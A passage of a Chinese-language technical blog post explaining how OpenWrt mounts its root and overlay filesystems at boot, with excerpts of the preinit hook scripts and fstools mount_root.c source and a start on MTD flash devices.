initramfs_test<br/>02_sysinfo:10:boot_hook_add preinit_main do_sysinfo_generic<br/>02_default_set_state:7:boot_hook_add preinit_main define_default_set_state<br/>10_indicate_preinit:154:boot_hook_add preinit_main preinit_ip<br/>10_indicate_preinit:155:boot_hook_add preinit_main pi_indicate_preinit<br/>40_run_failsafe_hook:17:boot_hook_add preinit_main run_failsafe_hook<br/>81_urandom_seed:24:boot_hook_add preinit_main do_urandom_seed<br/>80_mount_root:15:[ <span style="color: rgb(152, 195, 121);">&#34;<span style="color: rgb(209, 154, 102);">$INITRAMFS</span>&#34;</span> = <span style="color: rgb(152, 195, 121);">&#34;1&#34;</span> ] || boot_hook_add preinit_main do_mount_root<br/>01_preinit_do_ramips.sh:9:boot_hook_add preinit_main do_ramips<br/>04_handle_checksumming:56:boot_hook_add preinit_main do_checksumming_disable<br/>50_indicate_regular_preinit:10:boot_hook_add preinit_main indicate_regular_preinit<br/>07_set_preinit_iface_ramips:34:boot_hook_add preinit_main ramips_set_preinit_iface<br/>30_failsafe_wait:100:boot_hook_add preinit_main failsafe_wait</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里主要关注mount操作即如下脚本：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#!/bin/sh</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Copyright (C) 2006 OpenWrt.org</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Copyright (C) 2010 Vertical Communications</span><br/><span style="color: rgb(97, 174, 238);">do_mount_root</span>() {<br/>    mount_root<br/>    boot_run_hook preinit_mount_root<br/>    [ -f /sysupgrade.tgz ] &amp;&amp; {<br/>        <span style="color: rgb(230, 192, 123);">echo</span> <span style="color: rgb(152, 195, 121);">&#34;- config restore -&#34;</span><br/>        <span style="color: rgb(230, 192, 123);">cd</span> /<br/>        tar xzf /sysupgrade.tgz<br/>    }<br/>}<br/>[ <span style="color: rgb(152, 195, 121);">&#34;<span style="color: rgb(209, 154, 102);">$INITRAMFS</span>&#34;</span> = <span style="color: rgb(152, 195, 121);">&#34;1&#34;</span> ] || boot_hook_add preinit_main do_mount_root</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">那么实际负责挂载的就是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/sbin/mount_root</code>程序。相关核心源码<span style="line-height: 1.75;color: rgb(87, 107, 149);">Sources/fstools/mount_root.c (openwrt.org)</span>如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"> <span style="color: rgb(209, 154, 102);">26</span> <span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/> 27  * Called in the early (PREINIT) stage, when we immediately need some writable<br/> 28  * filesystem.<br/> 29  */</span><br/> <span style="color: rgb(209, 154, 102);">30</span> <span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(209, 154, 102);">int</span><br/> <span style="color: rgb(209, 154, 102);">31</span> start(<span style="color: rgb(209, 154, 102);">int</span> argc, <span style="color: rgb(209, 154, 102);">char</span> *argv[<span style="color: rgb(209, 154, 102);">1</span>])<br/> <span style="color: rgb(209, 154, 102);">32</span> {<br/> <span style="color: rgb(209, 154, 102);">33</span>         <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">volume</span> *<span style="color: rgb(230, 192, 123);">root</span>;<br/> <span style="color: rgb(209, 154, 102);">34</span>         <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">volume</span> *<span style="color: rgb(230, 192, 123);">data</span> = volume_find(<span style="color: rgb(152, 195, 121);">&#34;rootfs_data&#34;</span>);<br/> <span style="color: rgb(209, 154, 102);">35</span>         <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">stat</span> <span style="color: rgb(230, 192, 123);">s</span>;<br/> <span style="color: rgb(209, 154, 102);">36</span> <br/> <span style="color: rgb(209, 154, 102);">37</span>         {...}<br/> <span style="color: rgb(209, 154, 102);">53</span>         <span style="color: rgb(92, 99, 112);font-style: italic;">/* There isn&#39;t extroot, so just try to mount &#34;rootfs_data&#34; */</span><br/> <span style="color: rgb(209, 154, 102);">54</span>         volume_init(data);<br/> <span style="color: rgb(209, 154, 102);">55</span>         <span style="color: rgb(198, 120, 221);">switch</span> (volume_identify(data)) {<br/> <span style="color: rgb(209, 154, 102);">56</span>         <span style="color: rgb(198, 120, 221);">case</span> FS_NONE:<br/> <span style="color: rgb(209, 154, 102);">57</span>                 ULOG_WARN(<span style="color: rgb(152, 195, 121);">&#34;no usable overlay filesystem found, using tmpfs overlay\n&#34;</span>);<br/> <span style="color: rgb(209, 154, 102);">58</span>                 <span style="color: rgb(198, 120, 221);">return</span> ramoverlay();<br/> <span style="color: rgb(209, 154, 102);">59</span> <br/> <span style="color: rgb(209, 154, 102);">60</span>         <span style="color: rgb(198, 120, 221);">case</span> FS_DEADCODE:<br/> <span style="color: rgb(209, 154, 102);">61</span>                 <span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/> 62                  * Filesystem isn&#39;t ready yet and we are in the preinit, so we<br/> 63                  * can&#39;t afford waiting for it. Use tmpfs for now and handle it<br/> 64                  * properly in the &#34;done&#34; call.<br/> 65                  */</span><br/> <span style="color: rgb(209, 154, 102);">66</span>                 ULOG_NOTE(<span style="color: rgb(152, 195, 121);">&#34;jffs2 not ready yet, using temporary tmpfs overlay\n&#34;</span>);<br/> <span style="color: rgb(209, 154, 102);">67</span>                 <span style="color: rgb(198, 120, 221);">return</span> ramoverlay();<br/> <span style="color: rgb(209, 154, 102);">68</span> <br/> <span style="color: rgb(209, 154, 102);">69</span>         <span style="color: rgb(198, 120, 221);">case</span> FS_EXT4:<br/> <span style="color: rgb(209, 154, 102);">70</span>         <span style="color: rgb(198, 120, 221);">case</span> FS_F2FS:<br/> <span style="color: rgb(209, 154, 102);">71</span>         <span style="color: rgb(198, 120, 221);">case</span> FS_JFFS2:<br/> <span style="color: rgb(209, 154, 102);">72</span>         <span style="color: rgb(198, 120, 221);">case</span> FS_UBIFS:<br/> <span style="color: rgb(209, 154, 102);">73</span>                 mount_overlay(data);   &lt;==========<br/> <span style="color: rgb(209, 154, 102);">74</span>                 <span style="color: rgb(198, 120, 221);">break</span>;<br/> <span style="color: rgb(209, 154, 102);">75</span> <br/> <span style="color: rgb(209, 154, 102);">76</span>        {...}<br/> <span style="color: rgb(209, 154, 102);">79</span>         }<br/> <span style="color: rgb(209, 154, 102);">80</span> <br/> <span style="color: rgb(209, 154, 102);">81</span>         <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/> <span style="color: rgb(209, 154, 102);">82</span> }<br/>    <span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">mount_overlay</span>(<span style="color: rgb(198, 120, 221);">struct</span> volume *v)<br/>417 {<br/><span style="color: rgb(209, 154, 102);">418</span>         <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *overlay_mp = <span style="color: rgb(152, 195, 121);">&#34;/tmp/overlay&#34;</span>;<br/><span style="color: rgb(209, 154, 102);">419</span>         {...}<br/><span style="color: rgb(209, 154, 102);">431</span>         err = overlay_mount_fs(v, overlay_mp);   &lt;==========<br/><span style="color: rgb(209, 154, 102);">432</span>         <span style="color: rgb(198, 120, 221);">if</span> (err)<br/><span style="color: rgb(209, 154, 102);">433</span>                 <span style="color: rgb(198, 120, 221);">return</span> err;<br/><span style="color: rgb(209, 154, 102);">434</span> <br/><span style="color: rgb(209, 154, 102);">435</span>         <span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/>436          * Check for extroot config in overlay (rootfs_data) and if present then<br/>437          * prefer it over rootfs_data.<br/>438          */</span><br/><span style="color: rgb(209, 154, 102);">439</span>         <span style="color: rgb(198, 120, 221);">if</span> (!mount_extroot(overlay_mp)) {<br/><span style="color: rgb(209, 154, 102);">440</span>                 ULOG_INFO(<span style="color: rgb(152, 195, 121);">&#34;switched to extroot\n&#34;</span>);<br/><span style="color: rgb(209, 154, 102);">441</span>                 <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/><span style="color: rgb(209, 154, 102);">442</span>         }<br/><span style="color: rgb(209, 154, 102);">443</span> <br/><span style="color: rgb(209, 154, 102);">444</span>         {...}<br/><span style="color: rgb(209, 154, 102);">459</span>         fs_name = overlay_fs_name(volume_identify(v));<br/><span style="color: rgb(209, 154, 102);">460</span>         ULOG_INFO(<span style="color: rgb(152, 195, 121);">&#34;switching to %s overlay\n&#34;</span>, fs_name);<br/><span style="color: rgb(209, 154, 102);">461</span>         <span style="color: rgb(198, 120, 221);">if</span> (mount_move(<span style="color: rgb(152, 195, 121);">&#34;/tmp&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/overlay&#34;</span>) || fopivot(<span style="color: rgb(152, 195, 121);">&#34;/overlay&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/rom&#34;</span>)) {  &lt;==========<br/><span style="color: rgb(209, 154, 102);">462</span>                 ULOG_ERR(<span style="color: rgb(152, 195, 121);">&#34;switching to %s failed - fallback to ramoverlay\n&#34;</span>, fs_name);<br/><span style="color: rgb(209, 154, 102);">463</span>                 <span style="color: rgb(198, 120, 221);">return</span> ramoverlay();<br/><span style="color: rgb(209, 154, 102);">464</span>         }<br/><span style="color: rgb(209, 154, 102);">465</span> <br/><span style="color: rgb(209, 154, 102);">466</span>         <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;<br/><span style="color: rgb(209, 154, 102);">467</span> }<br/><span style="color: rgb(209, 154, 102);">347</span> <span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">overlay_mount_fs</span>(<span style="color: rgb(198, 120, 221);">struct</span> volume *v, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *overlay_mp)<br/>348 {<br/><span style="color: rgb(209, 154, 102);">349</span>         <span style="color: rgb(209, 154, 102);">char</span> *fstype = overlay_fs_name(volume_identify(v));<br/><span style="color: rgb(209, 154, 102);">350</span> <br/><span style="color: rgb(209, 154, 102);">351</span>         <span style="color: rgb(198, 120, 221);">if</span> (mkdir(overlay_mp, <span style="color: rgb(209, 154, 102);">0755</span>)) {<br/><span style="color: rgb(209, 154, 102);">352</span>                 ULOG_ERR(<span style="color: rgb(152, 195, 121);">&#34;failed to mkdir /tmp/overlay: %m\n&#34;</span>);<br/><span style="color: rgb(209, 154, 102);">353</span>                 <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;<br/><span style="color: rgb(209, 154, 102);">354</span>         }<br/><span style="color: rgb(209, 154, 102);">355</span> <br/><span style="color: rgb(209, 154, 102);">356</span>         <span style="color: rgb(198, 120, 221);">if</span> (mount(v-&gt;blk, overlay_mp, fstype,  &lt;==========<br/><span style="color: rgb(209, 154, 102);">357</span> <span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">ifdef</span> OVL_MOUNT_FULL_ACCESS_TIME</span><br/><span style="color: rgb(209, 154, 102);">358</span>                 MS_RELATIME,<br/><span style="color: rgb(209, 154, 102);">359</span> <span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">else</span></span><br/><span style="color: rgb(209, 154, 102);">360</span>                 MS_NOATIME,<br/><span style="color: rgb(209, 154, 102);">361</span> <span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">endif</span></span><br/><span style="color: rgb(209, 154, 102);">362</span> <span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">ifdef</span> OVL_MOUNT_COMPRESS_ZLIB</span><br/><span style="color: rgb(209, 154, 102);">363</span>                 <span style="color: rgb(152, 195, 121);">&#34;compr=zlib&#34;</span><br/><span style="color: rgb(209, 154, 102);">364</span> <span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">else</span></span><br/><span style="color: rgb(209, 154, 102);">365</span>                 <span style="color: rgb(86, 182, 194);">NULL</span><br/><span style="color: rgb(209, 154, 102);">366</span> <span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">endif</span></span><br/><span style="color: rgb(209, 154, 102);">367</span>                 )) {<br/><span style="color: rgb(209, 154, 102);">368</span>                 ULOG_ERR(<span style="color: rgb(152, 195, 121);">&#34;failed to mount -t %s %s /tmp/overlay: %m\n&#34;</span>,<br/><span style="color: rgb(209, 154, 102);">369</span>                          fstype, v-&gt;blk);<br/><span style="color: rgb(209, 154, 102);">370</span>                 <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;<br/><span style="color: rgb(209, 154, 102);">371</span>         }<br/><span style="color: rgb(209, 154, 102);">372</span> <br/><span style="color: rgb(209, 154, 102);">373</span>         <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/><span style="color: rgb(209, 154, 102);">374</span> }<br/><span style="color: rgb(92, 99, 112);font-style: italic;">/**<br/>108  * fopivot - switch to overlay using passed dir as upper one<br/>109  *<br/>110  * @rw_root: writable directory that will be used as upper dir<br/>111  * @ro_root: directory where old root will be put<br/>112  */</span><br/><span style="color: rgb(209, 154, 102);">113</span> <span style="color: rgb(209, 154, 102);">int</span><br/><span style="color: rgb(209, 154, 102);">114</span> fopivot(<span style="color: rgb(209, 154, 102);">char</span> *rw_root, <span style="color: rgb(209, 154, 102);">char</span> *ro_root)<br/><span style="color: rgb(209, 154, 102);">115</span> {<br/><span style="color: rgb(209, 154, 102);">116</span>         <span style="color: rgb(209, 154, 102);">char</span> overlay[<span style="color: rgb(209, 154, 102);">64</span>], mount_options[<span style="color: rgb(209, 154, 102);">64</span>], upperdir[<span style="color: rgb(209, 154, 102);">64</span>], workdir[<span style="color: rgb(209, 154, 102);">64</span>], upgrade[<span style="color: rgb(209, 154, 102);">64</span>], upgrade_dest[<span style="color: rgb(209, 154, 102);">64</span>];<br/><span style="color: rgb(209, 154, 102);">117</span>         <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">stat</span> <span style="color: rgb(230, 192, 123);">st</span>;<br/><span style="color: rgb(209, 154, 102);">118</span> <br/><span style="color: rgb(209, 154, 102);">119</span>         <span style="color: rgb(198, 120, 221);">if</span> (find_filesystem(<span style="color: rgb(152, 195, 121);">&#34;overlay&#34;</span>)) {<br/><span style="color: rgb(209, 154, 102);">120</span>                 ULOG_ERR(<span style="color: rgb(152, 195, 121);">&#34;BUG: no suitable fs found\n&#34;</span>);<br/><span style="color: rgb(209, 154, 102);">121</span>                 <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;<br/><span style="color: rgb(209, 154, 102);">122</span>         }<br/><span style="color: rgb(209, 154, 102);">123</span> <br/><span style="color: rgb(209, 154, 102);">124</span>         {...}<br/><span style="color: rgb(209, 154, 102);">154</span> <br/><span style="color: rgb(209, 154, 102);">155</span>         <span style="color: rgb(198, 120, 221);">if</span> (mount(overlay, <span style="color: rgb(152, 195, 121);">&#34;/mnt&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;overlay&#34;</span>, MS_NOATIME, mount_options)) {<br/><span style="color: rgb(209, 154, 102);">156</span>                 ULOG_ERR(<span style="color: rgb(152, 195, 121);">&#34;mount failed: %m, options %s\n&#34;</span>, mount_options);<br/><span style="color: rgb(209, 154, 102);">157</span>                 <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;<br/><span style="color: rgb(209, 154, 102);">158</span>         }<br/><span style="color: rgb(209, 154, 102);">159</span> <br/><span style="color: rgb(209, 154, 102);">160</span>         <span style="color: rgb(198, 120, 221);">return</span> pivot(<span style="color: rgb(152, 195, 121);">&#34;/mnt&#34;</span>, ro_root);<br/><span style="color: rgb(209, 154, 102);">161</span> }<br/> <span style="color: rgb(209, 154, 102);">63</span> <span style="color: rgb(209, 154, 102);">int</span><br/> <span style="color: rgb(209, 154, 102);">64</span> pivot(<span style="color: rgb(209, 154, 102);">char</span> *new, <span style="color: rgb(209, 154, 102);">char</span> *old)<br/> <span style="color: rgb(209, 154, 102);">65</span> {<br/> <span style="color: rgb(209, 154, 102);">66</span>         <span style="color: rgb(209, 154, 102);">char</span> pivotdir[<span style="color: rgb(209, 154, 102);">64</span>];<br/> <span style="color: rgb(209, 154, 102);">67</span>         <span style="color: rgb(209, 154, 102);">int</span> ret;<br/> <span style="color: rgb(209, 154, 102);">68</span> <br/> <span style="color: rgb(209, 154, 102);">69</span>         <span style="color: rgb(198, 120, 221);">if</span> (mount_move(<span style="color: rgb(152, 195, 121);">&#34;&#34;</span>, new, <span style="color: rgb(152, 195, 121);">&#34;/proc&#34;</span>))<br/> <span style="color: rgb(209, 154, 102);">70</span>                 <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;<br/> <span style="color: rgb(209, 154, 102);">71</span> <br/> <span style="color: rgb(209, 154, 102);">72</span>         <span style="color: rgb(230, 192, 123);">snprintf</span>(pivotdir, <span style="color: rgb(198, 120, 221);">sizeof</span>(pivotdir), <span style="color: rgb(152, 195, 121);">&#34;%s%s&#34;</span>, new, old);<br/> <span style="color: rgb(209, 154, 102);">73</span> <br/> <span style="color: rgb(209, 154, 102);">74</span>         ret = pivot_root(new, pivotdir);<br/> <span style="color: rgb(209, 154, 102);">75</span> <br/> <span style="color: rgb(209, 154, 102);">76</span>         <span style="color: rgb(198, 120, 221);">if</span> (ret &lt; <span style="color: rgb(209, 154, 102);">0</span>) {<br/> <span style="color: rgb(209, 154, 102);">77</span>                 ULOG_ERR(<span style="color: rgb(152, 195, 121);">&#34;pivot_root failed %s %s: %m\n&#34;</span>, new, pivotdir);<br/> <span style="color: rgb(209, 154, 102);">78</span>                 <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;<br/> <span style="color: rgb(209, 154, 102);">79</span>         }<br/> <span style="color: rgb(209, 154, 102);">80</span> <br/> <span style="color: rgb(209, 154, 102);">81</span>         mount_move(old, <span style="color: rgb(152, 195, 121);">&#34;&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/dev&#34;</span>);<br/> <span style="color: rgb(209, 154, 102);">82</span>         mount_move(old, <span style="color: rgb(152, 195, 121);">&#34;&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/tmp&#34;</span>);<br/> <span style="color: rgb(209, 154, 102);">83</span>         mount_move(old, <span style="color: rgb(152, 195, 121);">&#34;&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/sys&#34;</span>);<br/> <span style="color: rgb(209, 154, 102);">84</span>         mount_move(old, <span style="color: rgb(152, 195, 121);">&#34;&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;/overlay&#34;</span>);<br/> <span style="color: rgb(209, 154, 102);">85</span> <br/> <span style="color: rgb(209, 154, 102);">86</span>         <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/> <span style="color: rgb(209, 154, 102);">87</span> }</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  代码中<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">rootfs_data</code>/<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">rootfs</code>和layout示意图对应起来，即<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">rootfs_data</code>指的就是可写文件系统JFFS2，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">rootfs</code>指的是整个文件系统(SquashFS+JFFS2)。一般流程如下：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• volume_find(&#34;rootfs_data&#34;)找到flash中<strong style="line-height: 1.75;color: rgb(255, 118, 118);">rootfs_data</strong>的位置，可识别的文件系统有：EXT4、F2FS、JFFS2、UBIFS</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 调用mount_overlay</p></li><ul style="line-height: 1.75;padding-left: 1em;list-style: disc;" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mount -n /proc -o noatime,--move /mnt/proc</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <strong style="line-height: 1.75;color: rgb(255, 118, 118);">pivot_root /mnt /mnt/rom</strong></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mount -n /rom/dev -o noatime,--move /dev</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mount -n /rom/tmp -o noatime,--move /tmp</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mount -n /rom/sys -o noatime,--move /sys</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mount -n /rom/overlay -o noatime,--move /overlay</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• tmpfs，名字已经反映出这个文件系统的作用，是一个临时文件系统。这种文件系统没有设计负载均衡，并且是一种易失性的文件系统（也就是说设备重启后，这中文件系统中的内容将会丢失）。所以一般，/tmp将会挂载为tmpfs格式，且/var会软连接到其上。/dev位于自身的一个小型tmpfs分区。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• overlay_mount_fs：将<strong style="line-height: 1.75;color: rgb(255, 118, 118);">rootfs_data</strong>文件系统挂载到<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/tmp/overlay</code>；这里squashFS中的tmp为何可写？<strong style="line-height: 1.75;color: rgb(255, 118, 118);">这是因为这里初始化时会被挂载为一个tmpfs类型的文件夹</strong></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mount_move：mount_move(&#34;/tmp&#34;, &#34;&#34;, &#34;/overlay&#34;)，等效于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">mount -n -t NULL /tmp/overlay -o noatime,--move /overlay</code></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• fopivot：fopivot(&#34;/overlay&#34;, &#34;/rom&#34;)；首先通过/proc/filesystem确认是否支持overlay，然后<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">mount -n -t overlayfs overlayfs:/overlay -o rw,noatime,lowerdir=/,upperdir=/overlay /mnt</code><strong style="line-height: 1.75;color: rgb(255, 118, 118);">初步形成OverlayFS</strong>。pivot(&#34;/mnt&#34;, &#34;/rom&#34;)如下：</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="font-style: italic;">pivot_root（new_root, put_old）</span>系统调用<strong style="line-height: 1.75;color: rgb(255, 118, 118);">改变当前进程所在mount namespace内的所有进程的root mount移到put_old，然后将new_root作为新的root mount；</strong></p></li></ul></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  <strong style="line-height: 1.75;color: rgb(255, 118, 118);">总结一下：挂载完squashfs后首先找到rootfs_data的位置(flash)识别其文件系统类型，若支持调用mount_overlay进行后续操作；将rootfs_data挂载到 /tmp/overlay(tmpfs)，然后/tmp/overlay迁移到/overlay节点。调用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">mount -n -t overlayfs overlayfs:/overlay -o rw,noatime,lowerdir=/,upperdir=/overlay /mnt</code>在/mnt下面构建OverlayFS，然后把一些sys、proc、dev迁移到/mnt下面并且通过系统调用pivot_root 完成文件系统切换。</strong></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">MTD (Memory Technology Device)</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Linux 内核将raw flash芯片看做MTD设备，该设备既不是块设备也不是字符设备。在上层MTD设备由可擦除块(erase-blocks)组成，一个erase-block大小可以是64 KiB, 128 KiB等；每个erase-block又以类似page的方式进行分割。每个page在写入时需要把其所在erase-block整个擦除再写入，因此称之为erase block。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">MTD 分区</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, 